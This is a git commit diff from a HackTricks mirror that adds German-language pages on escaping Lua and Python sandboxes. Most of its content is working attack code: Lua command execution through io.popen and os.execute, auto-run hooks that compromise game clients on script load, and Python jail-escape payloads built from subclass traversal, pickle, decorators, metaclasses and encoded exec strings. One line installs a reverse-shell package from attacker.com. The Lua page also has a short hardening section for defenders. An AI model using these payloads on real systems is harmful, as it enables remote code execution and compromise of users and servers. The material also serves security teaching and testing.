mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
45d38b3ced
commit
90a2082c59
@ -80,6 +80,8 @@
|
||||
- [Bruteforce hash (few chars)](generic-methodologies-and-resources/python/bruteforce-hash-few-chars.md)
|
||||
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
|
||||
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
|
||||
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
|
||||
|
||||
# 🧙♂️ Generic Hacking
|
||||
|
||||
@ -926,13 +928,4 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
|
||||
|
@ -0,0 +1,115 @@
|
||||
# Bypass Lua sandboxes (eingebettete VMs, game clients)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Diese Seite sammelt praktische Techniken, um Lua "sandboxes" zu enumerieren und aus ihnen auszubrechen, wenn sie in Anwendungen eingebettet sind (insbesondere game clients, plugins oder in-app scripting engines). Viele Engines stellen eine eingeschränkte Lua-Umgebung bereit, lassen jedoch mächtige globals erreichbar, die beliebige Kommandoausführung oder sogar native memory corruption ermöglichen, wenn bytecode loaders exposed sind.
|
||||
|
||||
Kernideen:
|
||||
- Behandle die VM als unbekannte Umgebung: enumerate _G und finde heraus, welche gefährlichen Primitives erreichbar sind.
|
||||
- Wenn stdout/print blockiert ist, missbrauche jeden in-VM UI/IPC-Kanal als Ausgabe-Senke, um Ergebnisse zu beobachten.
|
||||
- Wenn io/os exposed ist, hat man oft direkte Kommandoausführung (io.popen, os.execute).
|
||||
- Wenn load/loadstring/loadfile exposed sind, kann das Ausführen von präpariertem Lua-Bytecode die Speichersicherheit in manchen Versionen unterlaufen (≤5.1 verifiers sind bypassable; 5.2 removed verifier) und so fortgeschrittene Exploitation ermöglichen.
|
||||
|
||||
## Enumerate the sandboxed environment
|
||||
|
||||
- Dump the global environment to inventory reachable tables/functions:
|
||||
```lua
|
||||
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
|
||||
local function dump_globals(out)
|
||||
out("=== DUMPING _G ===")
|
||||
for k, v in pairs(_G) do
|
||||
out(tostring(k) .. " = " .. tostring(v))
|
||||
end
|
||||
end
|
||||
```
|
||||
- Wenn kein print() verfügbar ist, nutze in-VM-Kanäle. Beispiel aus einer MMO housing script VM, in der chat output nur nach einem sound call funktioniert; das Folgende baut eine verlässliche Ausgabefunktion auf:
|
||||
```lua
|
||||
-- Build an output channel using in-game primitives
|
||||
local function ButlerOut(label)
|
||||
-- Some engines require enabling an audio channel before speaking
|
||||
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
|
||||
return function(msg)
|
||||
H.Say(label or 1, msg)
|
||||
end
|
||||
end
|
||||
|
||||
function OnMenu(menuNum)
|
||||
if menuNum ~= 3 then return end
|
||||
local out = ButlerOut(1)
|
||||
dump_globals(out)
|
||||
end
|
||||
```
|
||||
Verallgemeinere dieses Muster für dein Ziel: jedes Textfeld, toast, logger oder UI-Callback, das strings akzeptiert, kann als stdout für reconnaissance dienen.
|
||||
|
||||
## Direkte Kommandoausführung, wenn io/os exponiert sind
|
||||
|
||||
Wenn die Sandbox weiterhin die Standardbibliotheken io oder os exponiert, hast du wahrscheinlich sofortige Kommandoausführung:
|
||||
```lua
|
||||
-- Windows example
|
||||
io.popen("calc.exe")
|
||||
|
||||
-- Cross-platform variants depending on exposure
|
||||
os.execute("/usr/bin/id")
|
||||
io.popen("/bin/sh -c 'id'")
|
||||
```
|
||||
Hinweise:
|
||||
- Die Ausführung erfolgt im Client-Prozess; viele anti-cheat/antidebug-Schichten, die externe Debugger blockieren, verhindern nicht die in-VM-Prozesserstellung.
|
||||
- Ebenfalls prüfen: package.loadlib (beliebiges Laden von DLL/.so), require mit nativen Modulen, LuaJIT's ffi (falls vorhanden) und die debug library (kann innerhalb der VM Privilegien erhöhen).
|
||||
|
||||
## Zero-click-Trigger via auto-run callbacks
|
||||
|
||||
Wenn die Host-Anwendung Skripte an Clients verteilt und die VM auto-run hooks (z. B. OnInit/OnLoad/OnEnter) bereitstellt, platziere dein payload dort für einen drive-by compromise, sobald das Skript geladen wird:
|
||||
```lua
|
||||
function OnInit()
|
||||
io.popen("calc.exe") -- or any command
|
||||
end
|
||||
```
|
||||
Jeder äquivalente Callback (OnLoad, OnEnter, etc.) verallgemeinert diese Technik, wenn Skripte automatisch an den client übertragen und dort ausgeführt werden.
|
||||
|
||||
## Gefährliche Primitive, die man während recon aufspüren sollte
|
||||
|
||||
Während der _G-Aufzählung solltest du insbesondere auf Folgendes achten:
|
||||
- io, os: io.popen, os.execute, file I/O, env access.
|
||||
- load, loadstring, loadfile, dofile: führt Source oder Bytecode aus; unterstützt das Laden von nicht vertrauenswürdigem Bytecode.
|
||||
- package, package.loadlib, require: dynamisches Laden von Bibliotheken und Modul-Schnittstelle.
|
||||
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo und hooks.
|
||||
- LuaJIT-only: ffi.cdef, ffi.load, um nativen Code direkt aufzurufen.
|
||||
|
||||
Minimale Nutzungsbeispiele (falls erreichbar):
|
||||
```lua
|
||||
-- Execute source/bytecode
|
||||
local f = load("return 1+1")
|
||||
print(f()) -- 2
|
||||
|
||||
-- loadstring is alias of load for strings in 5.1
|
||||
local bc = string.dump(function() return 0x1337 end)
|
||||
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
|
||||
print(g())
|
||||
|
||||
-- Load native library symbol (if allowed)
|
||||
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
|
||||
local foo = mylib()
|
||||
```
|
||||
## Optionale Eskalation: Missbrauch von Lua-Bytecode-Loadern
|
||||
|
||||
Wenn load/loadstring/loadfile erreichbar sind, aber io/os eingeschränkt sind, kann die Ausführung von crafted Lua bytecode zu memory disclosure und corruption primitives führen. Wichtige Fakten:
|
||||
- Lua ≤ 5.1 enthielt einen bytecode verifier, der bekannte bypasses aufweist.
|
||||
- Lua 5.2 entfernte den verifier vollständig (offizielle Haltung: Anwendungen sollten einfach precompiled chunks ablehnen), wodurch die Angriffsfläche größer wird, falls bytecode loading nicht verboten ist.
|
||||
- Typische Workflows: leak pointers via in-VM output, craft bytecode to create type confusions (z. B. rund um FORLOOP oder andere opcodes), und dann auf arbitrary read/write oder native code execution übergehen.
|
||||
|
||||
Dieser Weg ist engine/version-specific und erfordert RE. Siehe Referenzen für deep dives, exploitation primitives und Beispiel-Gadgetry in Spielen.
|
||||
|
||||
## Erkennungs- und Härtungshinweise (für Verteidiger)
|
||||
|
||||
- Serverseitig: reject or rewrite user scripts; allowlist safe APIs; strip or bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
|
||||
- Clientseitig: Lua mit einem minimalen _ENV ausführen, bytecode loading verbieten, einen strikten bytecode verifier oder Signaturprüfungen wieder einführen und die Prozess-Erzeugung vom Client-Prozess aus blockieren.
|
||||
- Telemetrie: Alarm bei gameclient → child process creation kurz nach script load; mit UI/chat/script-Ereignissen korrelieren.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
|
||||
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
|
||||
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
|
||||
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,12 +1,13 @@
|
||||
# Bypass Python sandboxes
|
||||
# Python-Sandboxes umgehen
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Dies sind einige Tricks, um python sandbox-Schutzmechanismen zu umgehen und beliebige Befehle auszuführen.
|
||||
Dies sind einige Tricks, um Python-Sandbox-Schutzmechanismen zu umgehen und beliebige Befehle auszuführen.
|
||||
|
||||
## Bibliotheken zur Ausführung von Befehlen
|
||||
|
||||
Das Erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst, oder ob du eine dieser Bibliotheken importieren könntest:
|
||||
## Bibliotheken zur Befehlsausführung
|
||||
|
||||
Das Erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst oder ob du eine dieser Bibliotheken importieren kannst:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
@ -39,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
|
||||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **read files** innerhalb der python sandbox zu lesen und um **write some code** zu erstellen, das du **execute** kannst, um die sandbox zu **bypass**.
|
||||
Denk daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein können, um **Dateien innerhalb der python sandbox zu lesen** und um **Code zu schreiben**, den du **ausführen** könntest, um die sandbox zu **bypassen**.
|
||||
|
||||
> [!CAUTION] > **Python2 input()** Funktion erlaubt die Ausführung von python code, bevor das Programm abstürzt.
|
||||
> [!CAUTION] > **Python2 input()**-Funktion erlaubt das Ausführen von python code, bevor das Programm abstürzt.
|
||||
|
||||
Python versucht, **load libraries from the current directory first** (der folgende Befehl gibt aus, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (folgender Befehl gibt aus, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
.png>)
|
||||
|
||||
## Bypass pickle sandbox mit den standardmäßig installierten python packages
|
||||
|
||||
### Standard-Pakete
|
||||
### Standardpakete
|
||||
|
||||
Du findest eine **Liste der vorinstallierten** Pakete hier: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Beachte, dass du aus einem pickle das python env dazu bringen kannst, **beliebige Bibliotheken zu importieren**, die im System installiert sind.\
|
||||
Zum Beispiel wird das folgende pickle beim Laden die pip-Bibliothek importieren, um sie zu verwenden:
|
||||
Du findest eine **Liste vorinstallierter** Packages hier: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Beachte, dass du aus einem pickle die python env dazu bringen kannst, **beliebige auf dem System installierte libraries zu importieren**.\
|
||||
Zum Beispiel wird das folgende pickle beim Laden die pip library importieren, um sie zu verwenden:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -68,11 +69,11 @@ print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
Für weitere Informationen darüber, wie pickle funktioniert, siehe: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip package
|
||||
### Pip-Paket
|
||||
|
||||
Trick geteilt von **@isHaacK**
|
||||
|
||||
Wenn Sie Zugriff auf `pip` oder `pip.main()` haben, können Sie ein beliebiges Paket installieren und eine reverse shell erhalten, indem Sie aufrufen:
|
||||
Wenn du Zugriff auf `pip` oder `pip.main()` hast, kannst du ein beliebiges Paket installieren und eine reverse shell erhalten, indem du aufrufst:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
@ -84,12 +85,12 @@ Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!TIP]
|
||||
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so konstruiert, dass beim Verlassen der reverse shell die restliche Installation fehlschlägt, sodass du **kein zusätzliches python package auf dem Server installiert zurücklässt**, wenn du gehst.
|
||||
> Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so erstellt, dass beim Beenden der reverse shell die restliche Installation fehlschlägt, sodass du beim Verlassen **keine zusätzlichen python-Pakete auf dem Server zurücklässt**.
|
||||
|
||||
## Eval-ing python code
|
||||
|
||||
> [!WARNING]
|
||||
> Beachte, dass exec mehrzeilige Strings und ";" erlaubt, aber eval nicht (check walrus operator)
|
||||
> Beachte, dass exec mehrzeilige Strings und ";\" erlaubt, eval jedoch nicht (siehe walrus operator)
|
||||
|
||||
Wenn bestimmte Zeichen verboten sind, kannst du die **hex/octal/B64**-Darstellung verwenden, um die Einschränkung zu **bypass**:
|
||||
```python
|
||||
@ -112,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
||||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
### Andere Bibliotheken, die das Ausführen von eval python code erlauben
|
||||
### Weitere Bibliotheken, die eval python code erlauben
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
@ -126,9 +127,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
Siehe auch einen realen sandboxed evaluator escape in PDF-Generatoren:
|
||||
Siehe auch ein reales Beispiel für einen Escape aus einem sandboxed evaluator in PDF-Generatoren:
|
||||
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dabei wird rl_safe_eval missbraucht, um function.__globals__ und os.system aus ausgewerteten Attributen (zum Beispiel font color) zu erreichen und einen gültigen Wert zurückzugeben, um das Rendering stabil zu halten.
|
||||
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). Dabei wird rl_safe_eval missbraucht, um über ausgewertete Attribute (zum Beispiel font color) auf function.__globals__ und os.system zuzugreifen und einen gültigen Wert zurückzugeben, damit das Rendering stabil bleibt.
|
||||
|
||||
{{#ref}}
|
||||
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
@ -143,7 +144,7 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Umgehung von Schutzmechanismen durch Kodierungen (UTF-7)
|
||||
## Umgehung von Schutzmaßnahmen durch Kodierungen (UTF-7)
|
||||
|
||||
In [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) wird UFT-7 verwendet, um beliebigen python-Code in einer scheinbaren sandbox zu laden und auszuführen:
|
||||
```python
|
||||
@ -156,11 +157,11 @@ return x
|
||||
#+AAo-print(open("/flag.txt").read())
|
||||
""".lstrip()
|
||||
```
|
||||
Es ist auch möglich, es mit anderen Encodings zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.
|
||||
Es ist außerdem möglich, dies mit anderen Encodings zu umgehen, z. B. `raw_unicode_escape` und `unicode_escape`.
|
||||
|
||||
## Python-Ausführung ohne calls
|
||||
## Python-Ausführung ohne Aufrufe
|
||||
|
||||
Wenn du dich in einem python jail befindest, der dir **doesn't allow you to make calls**, gibt es dennoch einige Wege, **execute arbitrary functions, code** und **commands**.
|
||||
Wenn du dich in einer Python-Jail befindest, die es dir **nicht erlaubt, Aufrufe zu tätigen**, gibt es trotzdem einige Wege, **beliebige Funktionen, Code** und **Befehle** auszuführen.
|
||||
|
||||
### RCE mit [decorators](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
@ -184,13 +185,13 @@ X = exec(X)
|
||||
@'__import__("os").system("sh")'.format
|
||||
class _:pass
|
||||
```
|
||||
### RCE: Objekte erstellen und Überladen
|
||||
### RCE Erstellen von Objekten und Überladen
|
||||
|
||||
Wenn du **eine Klasse deklarieren** und **ein Objekt dieser Klasse erstellen** kannst, könntest du **verschiedene Methoden schreiben/überschreiben**, die **ausgelöst** werden können, **ohne** sie direkt aufrufen zu müssen.
|
||||
Wenn du eine **class** deklarieren und ein **object** dieser class erstellen kannst, könntest du verschiedene **methods** schreiben/überschreiben, die **ausgelöst** werden können, **ohne** sie direkt aufrufen zu **müssen**.
|
||||
|
||||
#### RCE mit benutzerdefinierten Klassen
|
||||
#### RCE with custom classes
|
||||
|
||||
Du kannst einige **Klassenmethoden** (_indem du bestehende Klassenmethoden überschreibst oder eine neue Klasse erstellst_) so verändern, dass sie **beliebigen Code ausführen**, wenn sie **ausgelöst** werden, ohne sie direkt aufzurufen.
|
||||
Du kannst einige **class methods** ändern (_indem du bestehende class methods überschreibst oder eine neue class erstellst_), um sie so zu gestalten, dass sie **beliebigen Code ausführen**, wenn sie **ausgelöst** werden, ohne sie direkt aufzurufen.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -240,9 +241,9 @@ __iand__ (k = 'import os; os.system("sh")')
|
||||
__ior__ (k |= 'import os; os.system("sh")')
|
||||
__ixor__ (k ^= 'import os; os.system("sh")')
|
||||
```
|
||||
#### Objekte erstellen mit [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
#### Erstellen von Objekten mit [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
|
||||
|
||||
Das Entscheidende, was metaclasses uns ermöglicht, ist, **eine instance einer class zu erstellen, ohne den constructor direkt aufzurufen**, indem man eine neue class erstellt, die die target class als metaclass benutzt.
|
||||
Das Entscheidende, das metaclasses uns ermöglicht, ist, **make an instance of a class, without calling the constructor** direkt, indem man eine neue Klasse mit der Zielklasse als metaclass erstellt.
|
||||
```python
|
||||
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
|
||||
# This will define the members of the "subclass"
|
||||
@ -257,9 +258,9 @@ Sub['import os; os.system("sh")']
|
||||
|
||||
## You can also use the tricks from the previous section to get RCE with this object
|
||||
```
|
||||
#### Objekte mit Exceptions erstellen
|
||||
#### Erstellen von Objekten mit Ausnahmen
|
||||
|
||||
Wenn eine **exception** ausgelöst wird, wird ein Objekt der **Exception** **erstellt**, ohne dass du den Konstruktor direkt aufrufen musst (ein Trick von [**@_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
Wenn eine **Ausnahme** ausgelöst wird, wird ein Objekt der **Exception** **erstellt**, ohne dass du den Konstruktor direkt aufrufen musst (ein Trick von [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
@ -315,17 +316,17 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Wenn du auf das Objekt **`__builtins__`** zugreifen kannst, kannst du Bibliotheken importieren (beachte, dass du hier auch andere in dem letzten Abschnitt gezeigte String-Repräsentationen verwenden könntest):
|
||||
Wenn Sie auf das Objekt **`__builtins__`** zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch andere in der letzten Sektion gezeigte String-Darstellungen verwenden könnten):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
```
|
||||
### Keine Builtins
|
||||
|
||||
Wenn du kein `__builtins__` hast, wirst du nichts importieren können und kannst nicht einmal Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen** sind.\
|
||||
Allerdings importiert **python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen importieren **auch gefährliche** Funktionalitäten in sich, auf die zugegriffen werden kann, um sogar **arbitrary code execution** zu erlangen.
|
||||
Wenn du kein `__builtins__` hast, wirst du nichts importieren können und nicht einmal Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\
|
||||
Allerdings **importiert python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten in sich, auf die zugegriffen werden kann, um sogar **arbitrary code execution** zu erlangen.
|
||||
|
||||
In den folgenden Beispielen kannst du beobachten, wie einige dieser geladenen "**harmlosen**" Module **missbraucht** werden, um auf **gefährliche** **Funktionalitäten** in ihnen zu **zugreifen**.
|
||||
In den folgenden Beispielen kannst du beobachten, wie man einige dieser **"harmlos"** geladenen Module **missbraucht**, um auf **gefährliche** **Funktionalitäten** in ihnen zu **zugreifen**.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
@ -367,9 +368,9 @@ get_flag.__globals__['__builtins__']
|
||||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **builtins** finden kannst.
|
||||
[**Unten befindet sich eine größere Funktion**](#recursive-search-of-builtins-globals), um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **builtins** finden kannst.
|
||||
|
||||
#### Python2 and Python3
|
||||
#### Python2 und Python3
|
||||
```python
|
||||
# Recover __builtins__ and make everything easier
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
@ -409,15 +410,15 @@ class_obj.__init__.__globals__
|
||||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) um Dutzende/**Hunderte** von **Stellen** zu finden, an denen du die **globals** findest.
|
||||
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
|
||||
|
||||
## Discover Arbitrary Execution
|
||||
|
||||
Hier möchte ich erklären, wie man leicht **gefährlichere geladene Funktionalitäten** entdeckt und zuverlässigere Exploits vorschlägt.
|
||||
Hier möchte ich erklären, wie man einfach **gefährlichere geladene Funktionalitäten** entdeckt und zuverlässigere exploits vorschlägt.
|
||||
|
||||
#### Accessing subclasses with bypasses
|
||||
|
||||
Einer der sensibelsten Teile dieser Technik ist die Fähigkeit, **access the base subclasses**. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` gemacht, aber es gibt **andere mögliche Wege**:
|
||||
Einer der sensibelsten Aspekte dieser Technik ist die Fähigkeit, **access the base subclasses**. In den vorherigen Beispielen wurde dies mit `''.__class__.__base__.__subclasses__()` gemacht, aber es gibt **andere mögliche Wege**:
|
||||
```python
|
||||
#You can access the base from mostly anywhere (in regular conditions)
|
||||
"".__class__.__base__.__subclasses__()
|
||||
@ -447,16 +448,16 @@ defined_func.__class__.__base__.__subclasses__()
|
||||
```
|
||||
### Gefährliche geladene Bibliotheken finden
|
||||
|
||||
Zum Beispiel: Wenn bekannt ist, dass man mit der Bibliothek **`sys`** **beliebige Bibliotheken importieren** kann, kann man nach allen **geladenen Modulen suchen, die `sys` importiert haben**:
|
||||
Zum Beispiel kannst du, da es mit der Bibliothek **`sys`** möglich ist, **beliebige Bibliotheken zu importieren**, nach allen **geladenen Modulen suchen, die `sys` in sich importiert haben**:
|
||||
```python
|
||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
Es gibt viele, und **wir brauchen nur eines**, um Befehle auszuführen:
|
||||
Es gibt viele, und **wir brauchen nur einen**, um Befehle auszuführen:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
Dasselbe können wir mit **other libraries** tun, von denen wir wissen, dass sie verwendet werden können, um **execute commands** auszuführen:
|
||||
Gleiches können wir mit **anderen Bibliotheken** machen, von denen wir wissen, dass sie zur **Ausführung von Befehlen** verwendet werden können:
|
||||
```python
|
||||
#os
|
||||
